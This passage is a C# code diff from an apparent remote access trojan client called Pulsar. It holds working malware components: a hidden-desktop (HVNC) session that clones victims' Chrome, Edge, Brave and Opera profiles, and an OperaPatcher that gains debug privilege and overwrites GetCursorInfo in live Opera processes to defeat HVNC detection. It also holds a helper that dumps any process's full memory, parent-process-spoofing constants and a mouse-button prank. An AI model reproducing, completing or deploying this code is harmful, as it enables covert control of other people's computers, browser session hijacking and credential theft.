out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[StructLayout(LayoutKind.Sequential)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[Flags]
private enum ProcessCreationFlags : uint
{
CREATE_SUSPENDED = 0x00000004,
CREATE_NO_WINDOW = 0x08000000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
}
[Flags]
private enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
EXECUTE_READWRITE = 0x40
}
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_READ = 0x0010
}
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;
private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
}
}
@@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.FunStuff
{
public class SwapMouseButtons
{
[DllImport("user32.dll")]
public static extern bool SwapMouseButton(bool swap);
[DllImport("user32.dll")]
public static extern int GetSystemMetrics(int nIndex);
private const int SM_SWAPBUTTON = 23;
public static void SwapMouse()
{
bool isSwapped = (GetSystemMetrics(SM_SWAPBUTTON) != 0);
SwapMouseButton(!isSwapped);
}
}
}
BIN
View File
Binary file not shown.
+16
View File
@@ -0,0 +1,16 @@
using System;
namespace Pulsar.Client.Helper
{
public static class DateTimeHelper
{
public static string GetLocalTimeZone()
{
var tz = TimeZoneInfo.Local;
var tzOffset = tz.GetUtcOffset(DateTime.Now);
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using Pulsar.Client.Utilities;
using System;
using System.IO;
using System.Diagnostics;
namespace Pulsar.Client.Helper
{
public static class DumpHelper
{
/// <summary>
/// Dumps a processes memory to a temporary file, then reads the bytes and deletes the file.
/// </summary>
/// <param name="pid">Process id of the process to dump</param>
/// <param name="type">What kind of memory dump to do</param>
/// <returns></returns>
public static (string, bool) GetProcessDump(int pid, NativeMethods.MiniDumpType type = NativeMethods.MiniDumpType.MiniDumpWithFullMemory)
{
Process process = Process.GetProcessById(pid);
string tmpFile = Path.GetTempFileName();
try
{
bool success = false;
using (FileStream fs = new FileStream(tmpFile, FileMode.Create, FileAccess.Write, FileShare.None))
{
success = NativeMethods.MiniDumpWriteDump(
process.Handle,
process.Id,
fs.SafeFileHandle.DangerousGetHandle(),
type,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
}
if (success)
{
return (tmpFile, true);
}
}
catch (Exception ex)
{
return (ex.ToString(), false);
}
return ("", false);
}
}
}
@@ -0,0 +1,65 @@
using System;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Represents the progress state while cloning a browser profile directory.
/// </summary>
internal readonly struct BrowserCloneProgress
{
public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false)
{
FilesCopied = filesCopied;
TotalFiles = totalFiles;
CurrentItem = currentItem ?? string.Empty;
IsIndeterminate = isIndeterminate;
}
/// <summary>
/// Gets the number of files copied so far.
/// </summary>
public int FilesCopied { get; }
/// <summary>
/// Gets the total number of files scheduled for cloning.
/// </summary>
public int TotalFiles { get; }
/// <summary>
/// Gets the relative path of the item currently being cloned.
/// </summary>
public string CurrentItem { get; }
/// <summary>
/// Indicates whether the operation is currently in an indeterminate state.
/// </summary>
public bool IsIndeterminate { get; }
/// <summary>
/// Gets the progress percentage (0-100) when the total file count is known.
/// </summary>
public int Percent
{
get
{
if (TotalFiles <= 0)
{
return 0;
}
double raw = (double)FilesCopied / TotalFiles * 100d;
if (raw < 0d)
{
return 0;
}
if (raw > 100d)
{
return 100;
}
return (int)Math.Round(raw);
}
}
}
}
@@ -0,0 +1,262 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Manages the small progress form shown when cloning browser profiles so users can observe the operation.
/// </summary>
internal sealed class BrowserCloneProgressSession : IDisposable
{
private const string HvncDesktopName = "PulsarDesktop";
private readonly CloneProgressForm _form;
private readonly Progress<BrowserCloneProgress> _progress;
private readonly CancellationTokenSource _cts;
private readonly EventHandler _cancelHandler;
private bool _completed;
private bool _disposed;
private BrowserCloneProgressSession(CloneProgressForm form)
{
_form = form;
_cts = new CancellationTokenSource();
_cancelHandler = (sender, args) => RequestCancel();
_form.UserRequestedCancel += _cancelHandler;
_progress = new Progress<BrowserCloneProgress>(state =>
{
if (!_form.IsDisposed)
{
_form.UpdateProgress(state);
}
});
}
/// <summary>
/// Gets a progress reporter that can be used from background threads.
/// </summary>
public IProgress<BrowserCloneProgress> Progress => _progress;
/// <summary>
/// Gets a token that is cancelled when the user closes the progress UI.
/// </summary>
public CancellationToken CancellationToken => _cts.Token;
public void ReportPreparing()
{
InvokeOnUi(() => _form.ShowPreparing());
}
public Task ReportCompletionAsync(bool wasSuccessful)
{
if (_completed)
{
return Task.CompletedTask;
}
_completed = true;
if (_form.IsDisposed)
{
return Task.CompletedTask;
}
var completionSource = new TaskCompletionSource<object>(TaskCreationOptions.RunContinuationsAsynchronously);
InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null)));
return completionSource.Task;
}
public static Task<BrowserCloneProgressSession> TryCreateAsync(string browserName)
{
var completion = new TaskCompletionSource<BrowserCloneProgressSession>(TaskCreationOptions.RunContinuationsAsynchronously);
var uiThread = new Thread(() =>
{
IntPtr desktopHandle = IntPtr.Zero;
BrowserCloneProgressSession session = null;
try
{
desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError);
if (desktopHandle == IntPtr.Zero)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}");
completion.TrySetResult(null);
return;
}
if (!DesktopInterop.TrySetThreadDesktop(desktopHandle))
{
int threadError = Marshal.GetLastWin32Error();
Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'.");
completion.TrySetResult(null);
return;
}
var form = new CloneProgressForm();
form.Initialize(browserName);
void HandleCreated(object sender, EventArgs args)
{
form.HandleCreated -= HandleCreated;
try
{
session = new BrowserCloneProgressSession(form);
completion.TrySetResult(session);
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}");
completion.TrySetResult(null);
form.BeginInvoke(new Action(form.Close));
}
}
form.HandleCreated += HandleCreated;
form.FormClosed += (_, __) => Application.ExitThread();
Application.Run(form);
if (!completion.Task.IsCompleted)
{
completion.TrySetResult(session);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}");
completion.TrySetResult(null);
}
finally
{
DesktopInterop.Release(desktopHandle);
}
})
{
IsBackground = true,
Name = "Pulsar HVNC Progress UI"
};
uiThread.SetApartmentState(ApartmentState.STA);
uiThread.Start();
return completion.Task;
}
public void Dispose()
{
if (_disposed)
{
return;
}
_disposed = true;
_form.UserRequestedCancel -= _cancelHandler;
InvokeOnUi(() =>
{
if (!_form.IsDisposed)
{
_form.Close();
_form.Dispose();
}
});
_cts.Dispose();
}
private void RequestCancel()
{
if (_disposed)
{
return;
}
if (!_cts.IsCancellationRequested)
{
_cts.Cancel();
}
}
private void InvokeOnUi(Action action)
{
if (_form.IsDisposed)
{
return;
}
if (_form.InvokeRequired)
{
try
{
_form.BeginInvoke(action);
}
catch (ObjectDisposedException)
{
// ignored
}
}
else
{
action();
}
}
private static class DesktopInterop
{
private const uint DesktopAccessMask = 0x000001FF;
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
public static IntPtr OpenOrCreate(string desktopName, out int lastError)
{
lastError = 0;
IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask);
if (handle != IntPtr.Zero)
{
return handle;
}
lastError = Marshal.GetLastWin32Error();
handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero);
if (handle == IntPtr.Zero)
{
lastError = Marshal.GetLastWin32Error();
}
return handle;
}
public static bool TrySetThreadDesktop(IntPtr handle)
{
return handle != IntPtr.Zero && SetThreadDesktop(handle);
}
public static void Release(IntPtr handle)
{
if (handle != IntPtr.Zero)
{
CloseDesktop(handle);
}
}
}
}
}
@@ -0,0 +1,146 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Configuration for browser injection including paths and parameters
/// </summary>
public class BrowserConfig
{
public string ExecutablePath { get; set; }
public string SearchPattern { get; set; }
public string ReplacementPath { get; set; }
}
/// <summary>
/// Manages browser configurations for HVNC injection
/// </summary>
public static class BrowserConfiguration
{
private static readonly Dictionary<string, BrowserConfig> BrowserConfigs = new Dictionary<string, BrowserConfig>(StringComparer.OrdinalIgnoreCase)
{
{
"Chrome", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"ChromeX86", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"Edge", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"),
SearchPattern = "Local\\Microsoft\\Edge\\User Data",
ReplacementPath = "Local\\Microsoft\\Edge\\KDOT"
}
},
{
"Brave", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data",
ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT"
}
},
{
"Opera", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
},
{
"OperaGX", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera GX Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
}
};
/// <summary>
/// Gets the browser configuration for the specified browser type
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, etc.)</param>
/// <returns>Browser configuration or null if not found</returns>
public static BrowserConfig GetConfig(string browserType)
{
if (string.IsNullOrWhiteSpace(browserType))
return null;
if (BrowserConfigs.TryGetValue(browserType, out var config))
{
return config;
}
return null;
}
/// <summary>
/// Gets the first valid Chrome configuration (checks both64-bit and32-bit)
/// </summary>
/// <returns>Valid Chrome configuration or null if Chrome is not installed</returns>
public static BrowserConfig GetChromeConfig()
{
var chromeConfig = GetConfig("Chrome");
if (chromeConfig != null)
{
try
{
if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath))
{
return chromeConfig;
}
}
catch
{
// ignore and continue
}
}
var chromeX86 = GetConfig("ChromeX86");
if (chromeX86 != null)
{
try
{
if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath))
{
return chromeX86;
}
}
catch
{
// ignore
}
}
return null;
}
/// <summary>
/// Validates if the browser executable exists
/// </summary>
/// <param name="config">Browser configuration to validate</param>
/// <returns>True if executable exists, false otherwise</returns>
public static bool ValidateConfig(BrowserConfig config)
{
if (config == null)
return false;
return File.Exists(config.ExecutablePath);
}
}
}
@@ -0,0 +1,453 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC.Chromium
{
/// <summary>
/// Opera memory patcher that patches GetCursorInfo function to always return success
/// This prevents Opera from detecting HVNC environments by bypassing cursor detection
///
/// Usage:
/// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX()
/// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes
/// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic
///
/// How it works:
/// 1. Finds all running Opera processes with main windows
/// 2. Locates the GetCursorInfo function in user32.dll within each process
/// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret
/// 4. This bypasses Opera's cursor detection used to identify HVNC environments
///
/// The patch is applied in memory and does not modify files on disk.
/// </summary>
public class OperaPatcher
{
#region Win32 API Imports
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
[DllImport("psapi.dll", SetLastError = true)]
private static extern bool EnumProcessModules(
IntPtr hProcess,
[Out] IntPtr[] lphModule,
int cb,
out int lpcbNeeded);
[DllImport("psapi.dll")]
private static extern uint GetModuleFileNameEx(
IntPtr hProcess,
IntPtr hModule,
[Out] StringBuilder lpBaseName,
int nSize);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
#endregion Win32 API Imports
#region Structs and Constants
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID Luid;
public uint Attributes;
}
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
#endregion Structs and Constants
/// <summary>
/// Patches Opera processes to bypass HVNC detection
/// </summary>
/// <returns>True if at least one Opera process was successfully patched</returns>
public static bool PatchOperaProcesses()
{
bool anyPatched = false;
try
{
// Find all Opera processes
Process[] operaProcesses = Process.GetProcessesByName("opera")
.Where(p => p.MainWindowHandle != IntPtr.Zero)
.ToArray();
if (operaProcesses.Length == 0)
{
Debug.WriteLine("No Opera processes found with main window");
return false;
}
foreach (var process in operaProcesses)
{
try
{
Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}");
if (EnableDebugPrivilege(process.Id))
{
Debug.WriteLine("Debug privilege enabled successfully");
}
else
{
Debug.WriteLine("Failed to enable debug privilege, continuing anyway");
}
if (PatchOperaProcess(process.Id))
{
Debug.WriteLine($"Successfully patched Opera PID: {process.Id}");
anyPatched = true;
}
else
{
Debug.WriteLine($"Failed to patch Opera PID: {process.Id}");
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}");
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}");
}
return anyPatched;
}
/// <summary>
/// Patches a specific Opera process by PID
/// </summary>
/// <param name="pid">Process ID of the Opera process to patch</param>
/// <returns>True if the process was successfully patched</returns>
public static bool PatchOperaProcess(int pid)
{
try
{
IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo");
if (addr == IntPtr.Zero)
{
Debug.WriteLine("Failed to find GetCursorInfo function address");
return false;
}
Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}");
// Assembly: mov eax, 1; ret (returns 1/TRUE for success)
byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid);
if (handle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process. Error: {GetLastError()}");
return false;
}
try
{
uint oldProtect = 0;
if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect))
{
Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}");
return false;
}
int bytesWritten = 0;
if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten))
{
Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}");
return false;
}
Debug.WriteLine($"Successfully wrote {bytesWritten} bytes");
byte[] verifyBuffer = new byte[patchBytes.Length];
int bytesRead = 0;
if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead))
{
bool patchVerified = bytesRead == patchBytes.Length;
for (int i = 0; i < bytesRead && patchVerified; i++)
{
if (verifyBuffer[i] != patchBytes[i])
{
patchVerified = false;
}
}
if (patchVerified)
{
Debug.WriteLine("Patch verified successfully");
}
else
{
Debug.WriteLine("Patch verification failed");
}
}
uint dummy;
VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy);
return bytesWritten == patchBytes.Length;
}
finally
{
CloseHandle(handle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}");
return false;
}
}
/// <summary>
/// Gets the remote address of a function in another process
/// </summary>
private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName)
{
IntPtr processHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localModuleHandle = LoadLibrary(dllName);
if (localModuleHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName);
if (localFunctionAddress == IntPtr.Zero)
{
Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64();
Debug.WriteLine($"Function offset: 0x{offset:X}");
IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName);
if (remoteModuleBase == IntPtr.Zero)
{
Debug.WriteLine($"Module '{dllName}' not found in process {processId}");
return IntPtr.Zero;
}
IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset);
Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}");
return remoteFunctionAddress;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}");
return IntPtr.Zero;
}
finally
{
if (processHandle != IntPtr.Zero)
{
CloseHandle(processHandle);
}
}
}
/// <summary>
/// Gets the base address of a module in a remote process
/// </summary>
private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName)
{
try
{
IntPtr[] moduleHandles = new IntPtr[1024];
int bytesNeeded;
if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded))
{
Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}");
return IntPtr.Zero;
}
int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr));
StringBuilder moduleNameBuffer = new StringBuilder(256);
string targetName = moduleName.ToLower();
for (int i = 0; i < moduleCount; i++)
{
GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity);
string currentModuleName = moduleNameBuffer.ToString();
string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower();
if (fileName == targetName || fileName == targetName + ".dll")
{
return moduleHandles[i];
}
}
return IntPtr.Zero;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}");
return IntPtr.Zero;
}
}
/// <summary>
/// Enables debug privilege for the specified process
/// </summary>
private static bool EnableDebugPrivilege(int processId)
{
IntPtr processHandle = IntPtr.Zero;
IntPtr tokenHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine("Failed to open process for debug privilege");
return false;
}
if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle))
{
Debug.WriteLine("Failed to open process token");
return false;
}
LUID luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
{
Debug.WriteLine("Failed to lookup privilege value");
return false;
}
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Luid = luid,
Attributes = SE_PRIVILEGE_ENABLED
};
if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero))
{
Debug.WriteLine("Failed to adjust token privileges");
return false;
}
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}");
return false;
}
finally
{
if (tokenHandle != IntPtr.Zero)
CloseHandle(tokenHandle);
if (processHandle != IntPtr.Zero)
CloseHandle(processHandle);
}
}
/// <summary>
/// Asynchronously patches Opera processes with retry logic
/// </summary>
/// <param name="maxRetries">Maximum number of retry attempts</param>
/// <param name="delayBetweenRetries">Delay between retry attempts in milliseconds</param>
/// <returns>Task that completes when patching is done</returns>
public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000)
{
await Task.Run(async () =>
{
for (int attempt = 0; attempt < maxRetries; attempt++)
{
try
{
if (PatchOperaProcesses())
{
Debug.WriteLine("Opera patching completed successfully");
return;
}
if (attempt < maxRetries - 1)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms");
await Task.Delay(delayBetweenRetries);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}");
if (attempt < maxRetries - 1)
{
await Task.Delay(delayBetweenRetries);
}
}
}
Debug.WriteLine("All Opera patching attempts failed");
});
}
}
}
+114
View File
@@ -0,0 +1,114 @@
namespace Pulsar.Client.Helper.HVNC
{
partial class CloneProgressForm
{
private System.ComponentModel.IContainer components = null;
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblDetail;
private System.Windows.Forms.ProgressBar progressBar;
private System.Windows.Forms.Button btnCancel;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.lblTitle = new System.Windows.Forms.Label();
this.lblDetail = new System.Windows.Forms.Label();
this.progressBar = new System.Windows.Forms.ProgressBar();
this.btnCancel = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblTitle
//
this.lblTitle.AutoSize = false;
this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top;
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point);
this.lblTitle.Location = new System.Drawing.Point(10, 10);
this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblTitle.Name = "lblTitle";
this.lblTitle.Size = new System.Drawing.Size(280, 20);
this.lblTitle.TabIndex = 0;
this.lblTitle.Text = "Cloning browser profile...";
this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// lblDetail
//
this.lblDetail.AutoEllipsis = true;
this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top;
this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.lblDetail.Location = new System.Drawing.Point(10, 30);
this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblDetail.Name = "lblDetail";
this.lblDetail.Size = new System.Drawing.Size(280, 17);
this.lblDetail.TabIndex = 1;
this.lblDetail.Text = "Preparing...";
this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// progressBar
//
this.progressBar.Dock = System.Windows.Forms.DockStyle.Top;
this.progressBar.Location = new System.Drawing.Point(10, 50);
this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.progressBar.Name = "progressBar";
this.progressBar.Size = new System.Drawing.Size(280, 15);
this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee;
this.progressBar.TabIndex = 2;
//
// btnCancel
//
this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.btnCancel.Location = new System.Drawing.Point(215, 73);
this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
this.btnCancel.TabIndex = 3;
this.btnCancel.Text = "Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// CloneProgressForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
